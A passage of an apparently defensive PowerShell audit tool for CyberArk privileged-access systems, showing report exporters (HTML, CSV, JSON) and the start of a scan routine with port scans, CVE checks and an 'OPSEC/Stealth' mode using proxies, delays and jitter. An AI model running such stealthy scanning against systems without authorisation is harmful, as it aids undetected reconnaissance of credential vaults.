The following findings represent the most significant security risks identified during this audit. Addressing these issues should be the top priority for the security and PAM teams.

"@ $riskNum = 1 foreach ($risk in $keyRisks) { $riskColor = if ($risk.Severity -eq "Critical") { "#d63031" } else { "#e17055" } $html += @"
$riskNum. $($risk.Finding) $($risk.Severity) $($risk.AffectedComponent)

Resource: $($risk.Resource)

Business Impact: $($risk.BusinessImpact)

Recommendation: $($risk.Recommendation)

Evidence: $($risk.Evidence)
"@ $riskNum++ } } else { $html += @"

No Critical or High Risk Findings

Congratulations! No critical or high severity issues were identified during this audit. Continue to monitor and maintain your security posture by addressing medium and low severity findings.

"@ } $html += @"
CIS Benchmark Compliance Summary
"@ # Add CIS control summary foreach ($controlId in ($script:CISControls.Keys | Sort-Object)) { $controlFindings = $script:Findings | Where-Object { $_.CISControl -eq $controlId -and $_.Status -eq "Fail" } $controlCount = $controlFindings.Count $controlStatus = if ($controlCount -eq 0) { "$(Get-StatusIcon 'Pass') Pass" } else { "$(Get-StatusIcon 'Fail') $controlCount Issues" } $html += @" "@ } $html += @"
Control Description Findings Status
$controlId $($script:CISControls[$controlId]) $controlCount $controlStatus
Detailed Findings

Click on any finding row to expand and view detailed information including evidence, remediation steps, and business impact analysis.

"@ # Add findings sorted by severity $severityOrder = @{ "Critical" = 0; "High" = 1; "Medium" = 2; "Low" = 3; "Info" = 4 } $sortedFindings = $script:Findings | Where-Object { $_.Status -eq "Fail" } | Sort-Object { $severityOrder[$_.Severity] } $findingIndex = 0 foreach ($finding in $sortedFindings) { $severityColor = Get-SeverityColor $finding.Severity $findingIndex++ $html += @" "@ } $html += @"
ID Severity Component Category Finding Resource CVSS
$($finding.FindingID) $($finding.Severity) $($finding.AffectedComponent) $($finding.Category) $($finding.Finding) $($finding.Resource) $($finding.CVSSScore)
$($finding.CISControl) - $($finding.CISDescription)
$($finding.CurrentValue)
$($finding.ExpectedValue)
$($finding.ComplianceRefs)
$($finding.Evidence) Technical Details: $($finding.TechnicalDetails)
$(if ($finding.HasPoC) { @"
$([System.Web.HttpUtility]::HtmlEncode($finding.PoCRequest))
$([System.Web.HttpUtility]::HtmlEncode($finding.PoCResponse))
"@ })

$($finding.RiskDescription)

$($finding.BusinessImpact)

$($finding.RemediationSteps)

$($finding.References)

Remediation Roadmap

The following roadmap provides a prioritized timeline for addressing security findings. Each phase is organized by severity to help teams focus on the most critical issues first.

"@ # Phase 1: Critical (24-48 hours) $criticalFindings = $script:Findings | Where-Object { $_.Severity -eq "Critical" -and $_.Status -eq "Fail" } if ($criticalFindings.Count -gt 0) { $html += @"
Phase 1: Immediate Action 24-48 Hours | $($criticalFindings.Count) Items

Critical findings that require immediate remediation to prevent potential security compromise.

    "@ foreach ($finding in $criticalFindings) { $html += "
  • $($finding.Resource): $($finding.Recommendation)
  • `n" } $html += @"
"@ } # Phase 2: High (1 week) $highFindings = $script:Findings | Where-Object { $_.Severity -eq "High" -and $_.Status -eq "Fail" } if ($highFindings.Count -gt 0) { $html += @"
Phase 2: Urgent Priority 1 Week | $($highFindings.Count) Items

High severity findings that pose significant security risk and should be prioritized.

    "@ $uniqueHighRecs = $highFindings | Select-Object -Property Resource, Recommendation -Unique | Select-Object -First 10 foreach ($rec in $uniqueHighRecs) { $html += "
  • $($rec.Resource): $($rec.Recommendation)
  • `n" } if ($highFindings.Count -gt 10) { $html += "
  • ...and $($highFindings.Count - 10) more items
  • `n" } $html += @"
"@ } # Phase 3: Medium (30 days) $mediumFindings = $script:Findings | Where-Object { $_.Severity -eq "Medium" -and $_.Status -eq "Fail" } if ($mediumFindings.Count -gt 0) { $html += @"
Phase 3: Standard Priority 30 Days | $($mediumFindings.Count) Items

Medium severity findings to address in the near term to improve security posture.

    "@ $uniqueMediumRecs = $mediumFindings | Select-Object -Property Recommendation -Unique | Select-Object -First 5 foreach ($rec in $uniqueMediumRecs) { $html += "
  • $($rec.Recommendation)
  • `n" } if (($mediumFindings | Select-Object -Property Recommendation -Unique).Count -gt 5) { $html += "
  • ...and more (see detailed findings)
  • `n" } $html += @"
"@ } # Phase 4: Low (90 days) $lowFindings = $script:Findings | Where-Object { $_.Severity -eq "Low" -and $_.Status -eq "Fail" } if ($lowFindings.Count -gt 0) { $html += @"
Phase 4: Routine Maintenance 90 Days | $($lowFindings.Count) Items

Low severity findings to address as part of regular security maintenance.

    "@ $uniqueLowRecs = $lowFindings | Select-Object -Property Recommendation -Unique | Select-Object -First 5 foreach ($rec in $uniqueLowRecs) { $html += "
  • $($rec.Recommendation)
  • `n" } if (($lowFindings | Select-Object -Property Recommendation -Unique).Count -gt 5) { $html += "
  • ...and more (see detailed findings)
  • `n" } $html += @"
"@ } $html += @"
Component Analysis

Breakdown of findings by CyberArk component to help assign remediation tasks to the appropriate teams.

"@ # Generate component analysis cards $componentGroups = $script:Findings | Where-Object { $_.Status -eq "Fail" } | Group-Object AffectedComponent foreach ($component in $componentGroups) { $compCritical = ($component.Group | Where-Object { $_.Severity -eq "Critical" }).Count $compHigh = ($component.Group | Where-Object { $_.Severity -eq "High" }).Count $compMedium = ($component.Group | Where-Object { $_.Severity -eq "Medium" }).Count $compLow = ($component.Group | Where-Object { $_.Severity -eq "Low" }).Count $cardClass = if ($compCritical -gt 0) { "critical" } elseif ($compHigh -gt 0) { "high" } elseif ($compMedium -gt 0) { "warning" } else { "" } $html += @"

$($component.Name)

$($component.Count)

Total Findings

$(if ($compCritical -gt 0) { "$compCritical Critical" }) $(if ($compHigh -gt 0) { "$compHigh High" }) $(if ($compMedium -gt 0) { "$compMedium Medium" }) $(if ($compLow -gt 0) { "$compLow Low" })

Top Categories:

    "@ $topCategories = $component.Group | Group-Object Category | Sort-Object Count -Descending | Select-Object -First 3 foreach ($cat in $topCategories) { $html += "
  • $($cat.Name) ($($cat.Count))
  • `n" } $html += @"
"@ } $html += @"
"@ # Add Skipped/Not Applicable Checks section if there are any if ($script:SkippedChecks.Count -gt 0) { # Calculate skipped check summary $skippedByType = @{ NotApplicable = ($script:SkippedChecks | Where-Object { $_.Type -eq "NotApplicable" }).Count Skipped = ($script:SkippedChecks | Where-Object { $_.Type -eq "Skipped" }).Count Error = ($script:SkippedChecks | Where-Object { $_.Type -eq "Error" }).Count AccessDenied = ($script:SkippedChecks | Where-Object { $_.Type -eq "AccessDenied" }).Count Timeout = ($script:SkippedChecks | Where-Object { $_.Type -eq "Timeout" }).Count } $requiresFollowUp = ($script:SkippedChecks | Where-Object { $_.FollowUpRequired -eq $true }).Count $html += @"
Checks Not Performed / Not Applicable

The following checks could not be performed or were not applicable to this environment. $requiresFollowUp checks require manual follow-up to ensure complete security coverage.

Not Applicable

$($skippedByType.NotApplicable)

Checks not relevant to this environment

Skipped

$($skippedByType.Skipped)

Checks requiring manual verification

Errors

$($skippedByType.Error)

Checks that encountered errors

Access Denied

$($skippedByType.AccessDenied)

Insufficient permissions

"@ $skipIndex = 0 foreach ($skipped in $script:SkippedChecks) { $statusColor = switch ($skipped.Type) { "NotApplicable" { "#95a5a6" } "Skipped" { "#f39c12" } "Error" { "#e74c3c" } "AccessDenied" { "#9b59b6" } "Timeout" { "#e67e22" } default { "#95a5a6" } } $statusIcon = switch ($skipped.Type) { "NotApplicable" { "N/A" } "Skipped" { "SKIP" } "Error" { "ERR" } "AccessDenied" { "DENY" } "Timeout" { "TIME" } default { "?" } } $skipIndex++ $followUpIcon = if ($skipped.FollowUpRequired) { "⚠ Yes" } else { "✔ No" } $html += @" "@ } $html += @"
Status Control Category Check Name Reason Follow-Up
$statusIcon $($skipped.CISControl) $($skipped.Category) $($skipped.CheckName) $($skipped.Reason) $followUpIcon
"@ } $html += @"
"@ $html | Out-File -FilePath $reportPath -Encoding UTF8 Write-AuditLog "HTML report saved to: $reportPath" -Level Success return $reportPath } function Export-CSVReport { Write-AuditLog "Exporting comprehensive CSV reports..." -Level Info $timestamp = Get-Date -Format 'yyyyMMdd_HHmmss' $baseFileName = "CyberArk_Security_Audit_$timestamp" $exportedFiles = @() # 1. Executive Summary CSV - High-level overview for leadership $execSummaryPath = Join-Path $OutputPath "${baseFileName}_Executive_Summary.csv" $execSummary = @( [PSCustomObject]@{ ReportSection = "Audit Overview" Metric = "Target System" Value = $PVWA Details = "CyberArk PVWA endpoint audited" }, [PSCustomObject]@{ ReportSection = "Audit Overview" Metric = "Audit Date" Value = Get-Date -Format "yyyy-MM-dd HH:mm:ss" Details = "Timestamp of audit execution" }, [PSCustomObject]@{ ReportSection = "Audit Overview" Metric = "Total Findings" Value = $script:Findings.Count Details = "Total security checks performed" }, [PSCustomObject]@{ ReportSection = "Risk Summary" Metric = "Critical Findings" Value = ($script:Findings | Where-Object { $_.Severity -eq "Critical" -and $_.Status -eq "Fail" }).Count Details = "Immediate action required - potential for complete compromise" }, [PSCustomObject]@{ ReportSection = "Risk Summary" Metric = "High Findings" Value = ($script:Findings | Where-Object { $_.Severity -eq "High" -and $_.Status -eq "Fail" }).Count Details = "Priority remediation needed - significant security risk" }, [PSCustomObject]@{ ReportSection = "Risk Summary" Metric = "Medium Findings" Value = ($script:Findings | Where-Object { $_.Severity -eq "Medium" -and $_.Status -eq "Fail" }).Count Details = "Near-term remediation recommended" }, [PSCustomObject]@{ ReportSection = "Risk Summary" Metric = "Low Findings" Value = ($script:Findings | Where-Object { $_.Severity -eq "Low" -and $_.Status -eq "Fail" }).Count Details = "Address during regular maintenance" }, [PSCustomObject]@{ ReportSection = "Risk Summary" Metric = "Passed Checks" Value = ($script:Findings | Where-Object { $_.Status -eq "Pass" }).Count Details = "Security controls verified as compliant" }, [PSCustomObject]@{ ReportSection = "Risk Summary" Metric = "Skipped Checks" Value = $script:SkippedChecks.Count Details = "Checks requiring manual verification" }, [PSCustomObject]@{ ReportSection = "Risk Score" Metric = "Calculated Risk Score" Value = (($script:Findings | Where-Object { $_.Severity -eq "Critical" -and $_.Status -eq "Fail" }).Count * 40) + (($script:Findings | Where-Object { $_.Severity -eq "High" -and $_.Status -eq "Fail" }).Count * 20) + (($script:Findings | Where-Object { $_.Severity -eq "Medium" -and $_.Status -eq "Fail" }).Count * 5) + (($script:Findings | Where-Object { $_.Severity -eq "Low" -and $_.Status -eq "Fail" }).Count * 1) Details = "Weighted score: Critical=40, High=20, Medium=5, Low=1" }, [PSCustomObject]@{ ReportSection = "Environment" Metric = "Total Safes Audited" Value = $script:AuditStats.TotalSafes Details = "Number of safes analyzed" }, [PSCustomObject]@{ ReportSection = "Environment" Metric = "Total Accounts Audited" Value = $script:AuditStats.TotalAccounts Details = "Number of privileged accounts analyzed" }, [PSCustomObject]@{ ReportSection = "Environment" Metric = "Total Users Audited" Value = $script:AuditStats.TotalUsers Details = "Number of CyberArk users analyzed" }, [PSCustomObject]@{ ReportSection = "Environment" Metric = "Unmanaged Accounts" Value = $script:AuditStats.UnmanagedAccounts Details = "Accounts not under automatic password management" }, [PSCustomObject]@{ ReportSection = "Environment" Metric = "Pending Discovery Accounts" Value = $script:AuditStats.PendingAccounts Details = "Discovered accounts awaiting review" } ) $execSummary | Export-Csv -Path $execSummaryPath -NoTypeInformation -Encoding UTF8 $exportedFiles += $execSummaryPath # 2. Full Findings Report - All findings with complete details $findingsPath = Join-Path $OutputPath "${baseFileName}_Full_Findings.csv" $script:Findings | Select-Object FindingID, Timestamp, Severity, Status, Category, AffectedComponent, CISControl, CISDescription, Finding, Resource, CurrentValue, ExpectedValue, Evidence, TechnicalDetails, RiskDescription, BusinessImpact, CVSSScore, Recommendation, RemediationSteps, ComplianceRefs, References, AuditTarget, AuditorNotes | Export-Csv -Path $findingsPath -NoTypeInformation -Encoding UTF8 $exportedFiles += $findingsPath # 3. Failed Findings Only - For remediation tracking $failedPath = Join-Path $OutputPath "${baseFileName}_Failed_Findings.csv" $script:Findings | Where-Object { $_.Status -eq "Fail" } | Sort-Object @{Expression={ switch ($_.Severity) { "Critical" { 0 } "High" { 1 } "Medium" { 2 } "Low" { 3 } "Info" { 4 } default { 5 } } }} | Select-Object FindingID, Severity, Category, AffectedComponent, Finding, Resource, CurrentValue, ExpectedValue, Recommendation, RemediationSteps, BusinessImpact, CVSSScore | Export-Csv -Path $failedPath -NoTypeInformation -Encoding UTF8 $exportedFiles += $failedPath # 4. Remediation Tracker - Actionable items for IT teams $remediationPath = Join-Path $OutputPath "${baseFileName}_Remediation_Tracker.csv" $remediationItems = $script:Findings | Where-Object { $_.Status -eq "Fail" } | ForEach-Object { [PSCustomObject]@{ FindingID = $_.FindingID Priority = switch ($_.Severity) { "Critical" { "P1 - Immediate (24-48 hours)" } "High" { "P2 - Urgent (1 week)" } "Medium" { "P3 - Standard (30 days)" } "Low" { "P4 - Routine (90 days)" } default { "P5 - As Resources Permit" } } Severity = $_.Severity Category = $_.Category AffectedComponent = $_.AffectedComponent Finding = $_.Finding Resource = $_.Resource RemediationSteps = $_.RemediationSteps AssignedTo = "" Status = "Open" DueDate = "" CompletionDate = "" VerificationNotes = "" RiskAccepted = "No" RiskAcceptanceJustification = "" } } $remediationItems | Export-Csv -Path $remediationPath -NoTypeInformation -Encoding UTF8 $exportedFiles += $remediationPath # 5. Skipped Checks Report - For manual follow-up $skippedPath = Join-Path $OutputPath "${baseFileName}_Skipped_Checks.csv" $script:SkippedChecks | Select-Object CheckID, Timestamp, Type, Category, CISControl, CISDescription, CheckName, Reason, ManualVerificationSteps, RiskIfNotChecked, Prerequisites, AlternativeEvidence, FollowUpRequired, AuditTarget | Export-Csv -Path $skippedPath -NoTypeInformation -Encoding UTF8 $exportedFiles += $skippedPath # 6. CIS Control Compliance Matrix $cisMatrixPath = Join-Path $OutputPath "${baseFileName}_CIS_Compliance_Matrix.csv" $cisMatrix = foreach ($controlId in ($script:CISControls.Keys | Sort-Object)) { $controlFindings = $script:Findings | Where-Object { $_.CISControl -eq $controlId } $failedFindings = $controlFindings | Where-Object { $_.Status -eq "Fail" } $passedFindings = $controlFindings | Where-Object { $_.Status -eq "Pass" } [PSCustomObject]@{ CISControlID = $controlId ControlDescription = $script:CISControls[$controlId] TotalChecks = $controlFindings.Count PassedChecks = $passedFindings.Count FailedChecks = $failedFindings.Count CompliancePercentage = if ($controlFindings.Count -gt 0) { [math]::Round(($passedFindings.Count / $controlFindings.Count) * 100, 1) } else { "N/A" } Status = if ($failedFindings.Count -eq 0) { "Compliant" } elseif ($failedFindings | Where-Object { $_.Severity -eq "Critical" }) { "Critical Non-Compliance" } elseif ($failedFindings | Where-Object { $_.Severity -eq "High" }) { "High Non-Compliance" } else { "Partial Compliance" } CriticalIssues = ($failedFindings | Where-Object { $_.Severity -eq "Critical" }).Count HighIssues = ($failedFindings | Where-Object { $_.Severity -eq "High" }).Count MediumIssues = ($failedFindings | Where-Object { $_.Severity -eq "Medium" }).Count LowIssues = ($failedFindings | Where-Object { $_.Severity -eq "Low" }).Count RemediationRequired = if ($failedFindings.Count -gt 0) { "Yes" } else { "No" } } } $cisMatrix | Export-Csv -Path $cisMatrixPath -NoTypeInformation -Encoding UTF8 $exportedFiles += $cisMatrixPath # 7. Component-Based Summary - For component owners $componentPath = Join-Path $OutputPath "${baseFileName}_Component_Summary.csv" $componentSummary = $script:Findings | Where-Object { $_.Status -eq "Fail" } | Group-Object AffectedComponent | ForEach-Object { $componentFindings = $_.Group [PSCustomObject]@{ Component = $_.Name TotalFindings = $_.Count CriticalCount = ($componentFindings | Where-Object { $_.Severity -eq "Critical" }).Count HighCount = ($componentFindings | Where-Object { $_.Severity -eq "High" }).Count MediumCount = ($componentFindings | Where-Object { $_.Severity -eq "Medium" }).Count LowCount = ($componentFindings | Where-Object { $_.Severity -eq "Low" }).Count TopCategories = ($componentFindings | Group-Object Category | Sort-Object Count -Descending | Select-Object -First 3 | ForEach-Object { "$($_.Name) ($($_.Count))" }) -join "; " ImmediateActions = ($componentFindings | Where-Object { $_.Severity -in @("Critical", "High") } | Select-Object -ExpandProperty Recommendation -Unique) -join "; " } } $componentSummary | Export-Csv -Path $componentPath -NoTypeInformation -Encoding UTF8 $exportedFiles += $componentPath foreach ($file in $exportedFiles) { Write-AuditLog "CSV report saved: $file" -Level Success } return $exportedFiles } function Export-JSONReport { Write-AuditLog "Exporting comprehensive JSON report..." -Level Info $jsonPath = Join-Path $OutputPath "CyberArk_Security_Audit_$(Get-Date -Format 'yyyyMMdd_HHmmss').json" # Calculate comprehensive statistics $criticalCount = ($script:Findings | Where-Object { $_.Severity -eq "Critical" -and $_.Status -eq "Fail" }).Count $highCount = ($script:Findings | Where-Object { $_.Severity -eq "High" -and $_.Status -eq "Fail" }).Count $mediumCount = ($script:Findings | Where-Object { $_.Severity -eq "Medium" -and $_.Status -eq "Fail" }).Count $lowCount = ($script:Findings | Where-Object { $_.Severity -eq "Low" -and $_.Status -eq "Fail" }).Count $passCount = ($script:Findings | Where-Object { $_.Status -eq "Pass" }).Count $totalFailed = $criticalCount + $highCount + $mediumCount + $lowCount $riskScore = ($criticalCount * 40) + ($highCount * 20) + ($mediumCount * 5) + ($lowCount * 1) $riskRating = if ($riskScore -eq 0) { "Excellent" } elseif ($riskScore -lt 20) { "Good" } elseif ($riskScore -lt 50) { "Fair" } elseif ($riskScore -lt 100) { "Poor" } else { "Critical" } # Build CIS control compliance matrix $cisComplianceMatrix = @{} foreach ($controlId in ($script:CISControls.Keys | Sort-Object)) { $controlFindings = $script:Findings | Where-Object { $_.CISControl -eq $controlId } $failedFindings = $controlFindings | Where-Object { $_.Status -eq "Fail" } $passedFindings = $controlFindings | Where-Object { $_.Status -eq "Pass" } $cisComplianceMatrix[$controlId] = @{ description = $script:CISControls[$controlId] totalChecks = $controlFindings.Count passed = $passedFindings.Count failed = $failedFindings.Count compliancePercentage = if ($controlFindings.Count -gt 0) { [math]::Round(($passedFindings.Count / $controlFindings.Count) * 100, 1) } else { 0 } criticalIssues = ($failedFindings | Where-Object { $_.Severity -eq "Critical" }).Count highIssues = ($failedFindings | Where-Object { $_.Severity -eq "High" }).Count mediumIssues = ($failedFindings | Where-Object { $_.Severity -eq "Medium" }).Count lowIssues = ($failedFindings | Where-Object { $_.Severity -eq "Low" }).Count status = if ($failedFindings.Count -eq 0) { "Compliant" } elseif ($failedFindings | Where-Object { $_.Severity -eq "Critical" }) { "Critical" } elseif ($failedFindings | Where-Object { $_.Severity -eq "High" }) { "High Risk" } else { "Partial" } } } # Build component-level analysis $componentAnalysis = @{} $script:Findings | Where-Object { $_.Status -eq "Fail" } | Group-Object AffectedComponent | ForEach-Object { $componentFindings = $_.Group $componentAnalysis[$_.Name] = @{ totalFindings = $_.Count critical = ($componentFindings | Where-Object { $_.Severity -eq "Critical" }).Count high = ($componentFindings | Where-Object { $_.Severity -eq "High" }).Count medium = ($componentFindings | Where-Object { $_.Severity -eq "Medium" }).Count low = ($componentFindings | Where-Object { $_.Severity -eq "Low" }).Count categories = ($componentFindings | Group-Object Category | ForEach-Object { @{ name = $_.Name; count = $_.Count } }) topRecommendations = ($componentFindings | Where-Object { $_.Severity -in @("Critical", "High") } | Select-Object -ExpandProperty Recommendation -Unique | Select-Object -First 5) } } # Build category-level analysis $categoryAnalysis = @{} $script:Findings | Where-Object { $_.Status -eq "Fail" } | Group-Object Category | ForEach-Object { $catFindings = $_.Group $categoryAnalysis[$_.Name] = @{ totalFindings = $_.Count critical = ($catFindings | Where-Object { $_.Severity -eq "Critical" }).Count high = ($catFindings | Where-Object { $_.Severity -eq "High" }).Count medium = ($catFindings | Where-Object { $_.Severity -eq "Medium" }).Count low = ($catFindings | Where-Object { $_.Severity -eq "Low" }).Count affectedResources = ($catFindings | Select-Object -ExpandProperty Resource -Unique) recommendations = ($catFindings | Select-Object -ExpandProperty Recommendation -Unique) } } # Build prioritized remediation roadmap $remediationRoadmap = @{ immediate = @{ timeframe = "24-48 hours" description = "Critical findings requiring immediate attention to prevent potential compromise" findings = @($script:Findings | Where-Object { $_.Severity -eq "Critical" -and $_.Status -eq "Fail" } | ForEach-Object { @{ findingId = $_.FindingID finding = $_.Finding resource = $_.Resource recommendation = $_.Recommendation remediationSteps = $_.RemediationSteps businessImpact = $_.BusinessImpact } }) } urgent = @{ timeframe = "1 week" description = "High severity findings that pose significant security risk" findings = @($script:Findings | Where-Object { $_.Severity -eq "High" -and $_.Status -eq "Fail" } | ForEach-Object { @{ findingId = $_.FindingID finding = $_.Finding resource = $_.Resource recommendation = $_.Recommendation remediationSteps = $_.RemediationSteps } }) } standard = @{ timeframe = "30 days" description = "Medium severity findings to address in the near term" findings = @($script:Findings | Where-Object { $_.Severity -eq "Medium" -and $_.Status -eq "Fail" } | ForEach-Object { @{ findingId = $_.FindingID finding = $_.Finding resource = $_.Resource recommendation = $_.Recommendation } }) } routine = @{ timeframe = "90 days" description = "Low severity findings to address as part of regular maintenance" findings = @($script:Findings | Where-Object { $_.Severity -eq "Low" -and $_.Status -eq "Fail" } | ForEach-Object { @{ findingId = $_.FindingID finding = $_.Finding resource = $_.Resource recommendation = $_.Recommendation } }) } } # Build comprehensive report structure $report = @{ reportInfo = @{ title = "CyberArk Privileged Access Security Audit Report" generatedAt = Get-Date -Format "yyyy-MM-ddTHH:mm:ssZ" generatedBy = "CyberArk Security Audit Tool" reportVersion = "2.0" exportFormat = "JSON" } auditMetadata = @{ target = $PVWA auditDate = Get-Date -Format "yyyy-MM-ddTHH:mm:ssZ" auditDuration = if ($script:AuditStats.Duration) { $script:AuditStats.Duration } else { "N/A" } auditorInfo = @{ hostname = $env:COMPUTERNAME username = $env:USERNAME domain = $env:USERDOMAIN } } executiveSummary = @{ overallRiskRating = $riskRating riskScore = $riskScore riskScoreExplanation = "Weighted calculation: Critical(x40) + High(x20) + Medium(x5) + Low(x1)" keyMetrics = @{ totalChecksPerformed = $script:Findings.Count totalFailedChecks = $totalFailed totalPassedChecks = $passCount totalSkippedChecks = $script:SkippedChecks.Count compliancePercentage = if ($script:Findings.Count -gt 0) { [math]::Round(($passCount / $script:Findings.Count) * 100, 1) } else { 0 } } findingsBySeverity = @{ critical = @{ count = $criticalCount; description = "Immediate remediation required" } high = @{ count = $highCount; description = "Priority remediation within 1 week" } medium = @{ count = $mediumCount; description = "Address within 30 days" } low = @{ count = $lowCount; description = "Address within 90 days" } } keyRisks = @($script:Findings | Where-Object { $_.Severity -in @("Critical", "High") -and $_.Status -eq "Fail" } | Select-Object -First 10 | ForEach-Object { @{ finding = $_.Finding severity = $_.Severity businessImpact = $_.BusinessImpact recommendation = $_.Recommendation } }) immediatePriorities = @($script:Findings | Where-Object { $_.Severity -eq "Critical" -and $_.Status -eq "Fail" } | Select-Object -ExpandProperty Recommendation -Unique | Select-Object -First 5) } environmentOverview = @{ statistics = $script:AuditStats summary = @{ totalSafes = $script:AuditStats.TotalSafes totalAccounts = $script:AuditStats.TotalAccounts totalUsers = $script:AuditStats.TotalUsers unmanagedAccounts = $script:AuditStats.UnmanagedAccounts pendingDiscoveryAccounts = $script:AuditStats.PendingAccounts } } complianceAnalysis = @{ overallCompliance = if ($script:Findings.Count -gt 0) { [math]::Round(($passCount / $script:Findings.Count) * 100, 1) } else { 0 } cisControlsCompliance = $cisComplianceMatrix complianceByFramework = @{ "CIS CyberArk Benchmark" = @{ totalControls = $script:CISControls.Count compliantControls = ($cisComplianceMatrix.Values | Where-Object { $_.status -eq "Compliant" }).Count nonCompliantControls = ($cisComplianceMatrix.Values | Where-Object { $_.status -ne "Compliant" }).Count } } } componentAnalysis = $componentAnalysis categoryAnalysis = $categoryAnalysis remediationRoadmap = $remediationRoadmap detailedFindings = @{ failed = @($script:Findings | Where-Object { $_.Status -eq "Fail" } | Sort-Object @{ Expression = { switch ($_.Severity) { "Critical" { 0 } "High" { 1 } "Medium" { 2 } "Low" { 3 } default { 4 } } } }) passed = @($script:Findings | Where-Object { $_.Status -eq "Pass" }) all = $script:Findings } skippedChecks = @{ summary = @{ total = $script:SkippedChecks.Count notApplicable = ($script:SkippedChecks | Where-Object { $_.Type -eq "NotApplicable" }).Count errors = ($script:SkippedChecks | Where-Object { $_.Type -eq "Error" }).Count accessDenied = ($script:SkippedChecks | Where-Object { $_.Type -eq "AccessDenied" }).Count timeout = ($script:SkippedChecks | Where-Object { $_.Type -eq "Timeout" }).Count skipped = ($script:SkippedChecks | Where-Object { $_.Type -eq "Skipped" }).Count } requiresFollowUp = @($script:SkippedChecks | Where-Object { $_.FollowUpRequired -eq $true }) notApplicable = @($script:SkippedChecks | Where-Object { $_.Type -eq "NotApplicable" }) all = $script:SkippedChecks } cisControlsReference = $script:CISControls appendix = @{ glossary = @{ "PVWA" = "Password Vault Web Access - Web interface for CyberArk" "CPM" = "Central Policy Manager - Manages password rotation" "PSM" = "Privileged Session Manager - Session recording and isolation" "PTA" = "Privileged Threat Analytics - Behavioral analysis" "EPM" = "Endpoint Privilege Manager" "Safe" = "Secure container for privileged credentials" "Platform" = "Template defining password management policies" } severityDefinitions = @{ "Critical" = "Immediate risk of compromise. Exploitation could lead to complete system takeover or data breach. Remediate within 24-48 hours." "High" = "Significant security weakness. Could be exploited to gain unauthorized access. Remediate within 1 week." "Medium" = "Security gap that weakens overall posture. Address within 30 days." "Low" = "Minor improvement opportunity. Address within 90 days or as part of regular maintenance." "Info" = "Informational finding for documentation purposes." } riskScoreExplanation = @{ formula = "(Critical * 40) + (High * 20) + (Medium * 5) + (Low * 1)" ratings = @{ "0" = "Excellent - No security issues detected" "1-19" = "Good - Minor issues only" "20-49" = "Fair - Some issues require attention" "50-99" = "Poor - Significant issues require remediation" "100+" = "Critical - Immediate action required" } } } } $report | ConvertTo-Json -Depth 15 | Out-File -FilePath $jsonPath -Encoding UTF8 Write-AuditLog "JSON report saved to: $jsonPath" -Level Success return $jsonPath } #endregion #region Main Execution function Start-Audit { # Initialize configuration from defaults, external file, and parameter overrides Initialize-Configuration # Display detailed info unless suppressed with -NoLogo if (-not $NoLogo) { Write-Host "" Write-Host " Target: $PVWA" -ForegroundColor White if ($Proxy) { Write-Host " Proxy: $Proxy" -ForegroundColor Yellow } if ($OPSECMode) { Write-Host " Mode: OPSEC/Stealth" -ForegroundColor Red } if ($ConfigFile) { Write-Host " Config: $ConfigFile" -ForegroundColor Cyan } Write-Host "" } # Initialize web request defaults (proxy, TLS, User-Agent) Initialize-WebRequestDefaults # Check prerequisites Test-Prerequisites | Out-Null # Initialize OPSEC mode if enabled if ($OPSECMode) { Initialize-OPSECMode } # Store script-level parameters for use in helper functions $script:RequestDelay = $RequestDelay $script:Jitter = $Jitter # Initialize global variables $script:Findings = @() $script:SkippedChecks = @() $script:AuditStats = @{ TotalSafes = 0 TotalAccounts = 0 TotalUsers = 0 UnmanagedAccounts = 0 PendingAccounts = 0 ChecksPerformed = 0 ChecksSkipped = 0 ChecksFailed = 0 AuthenticatedChecksRun = $false StartTime = Get-Date OPSECMode = $OPSECMode.IsPresent ProxyUsed = if ($Proxy) { $true } else { $false } } $script:SafesWithAccounts = @{} $script:IsAuthenticated = $false # Establish baseline response for false positive detection # This helps identify catch-all SPA responses that return the same page for any URL try { Initialize-BaselineResponse -BaseUrl $PVWA } catch { Write-AuditLog "Could not establish baseline response: $($_.Exception.Message)" -Level Warning } # Handle "Only" execution flags - when set, skip all other check categories $script:RunOnlyMode = $OnlyPortScan -or $OnlyCVEChecks -or $OnlyAuthenticatedChecks -or $OnlyNetworkChecks -or $OnlyBlackboxChecks if ($script:RunOnlyMode) { Write-Host "" Write-Host "+============================================================+" -ForegroundColor Cyan Write-Host "| SELECTIVE EXECUTION MODE |" -ForegroundColor Cyan if ($OnlyPortScan) { Write-Host "| Running ONLY: Port Scanning |" -ForegroundColor Cyan } if ($OnlyCVEChecks) { Write-Host "| Running ONLY: CVE Vulnerability Checks |" -ForegroundColor Cyan } if ($OnlyAuthenticatedChecks) { Write-Host "| Running ONLY: Authenticated API Checks |" -ForegroundColor Cyan } if ($OnlyNetworkChecks) { Write-Host "| Running ONLY: Network Security Checks |" -ForegroundColor Cyan } if ($OnlyBlackboxChecks) { Write-Host "| Running ONLY: Unauthenticated Blackbox Checks |" -ForegroundColor Cyan } Write-Host "+============================================================+" -ForegroundColor Cyan } #====================================================================== # PHASE 1: UNAUTHENTICATED CHECKS (No credentials required) #====================================================================== # Skip Phase 1 if OnlyAuthenticatedChecks is set if ($OnlyAuthenticatedChecks) { Write-Host "" Write-Host "+============================================================+" -ForegroundColor DarkGray Write-Host "| PHASE 1: UNAUTHENTICATED SECURITY CHECKS (SKIPPED) |" -ForegroundColor DarkGray Write-Host "| (Skipped via -OnlyAuthenticatedChecks parameter) |" -ForegroundColor DarkGray Write-Host "+============================================================+" -ForegroundColor DarkGray } else { Write-Host "" Write-Host "+============================================================+" -ForegroundColor Magenta Write-Host "| PHASE 1: UNAUTHENTICATED SECURITY CHECKS |" -ForegroundColor Magenta Write-Host "| (No credentials required - External/Blackbox testing) |" -ForegroundColor Magenta Write-Host "+============================================================+" -ForegroundColor Magenta # Network Security Checks (Port Scan, TLS, DNS) $runNetworkChecks = (-not $script:RunOnlyMode) -or $OnlyPortScan -or $OnlyNetworkChecks if ($runNetworkChecks) { Write-Host "" Write-Host "[UNAUTH] Running Network Security Checks..." -ForegroundColor Yellow Write-Host "============================================" -ForegroundColor Yellow if (-not $SkipPortScan) { try { Test-PortScan } catch { Add-SkippedCheck -Category "Network Security" -CISControl "NET1" -CheckName "Port Scan" -Reason "Error: $($_.Exception.Message)" -Type "Error" } try { Test-VaultPortSecurity } catch { Add-SkippedCheck -Category "Network Security" -CISControl "NET2" -CheckName "Vault Port Security" -Reason "Error: $($_.Exception.Message)" -Type "Error" } } else { Add-SkippedCheck -Category "Network Security" -CISControl "NET1" ` -CheckName "Port Scan" ` -Reason "Skipped via -SkipPortScan parameter" ` -Type "Skipped" Add-SkippedCheck -Category "Network Security" -CISControl "NET2" ` 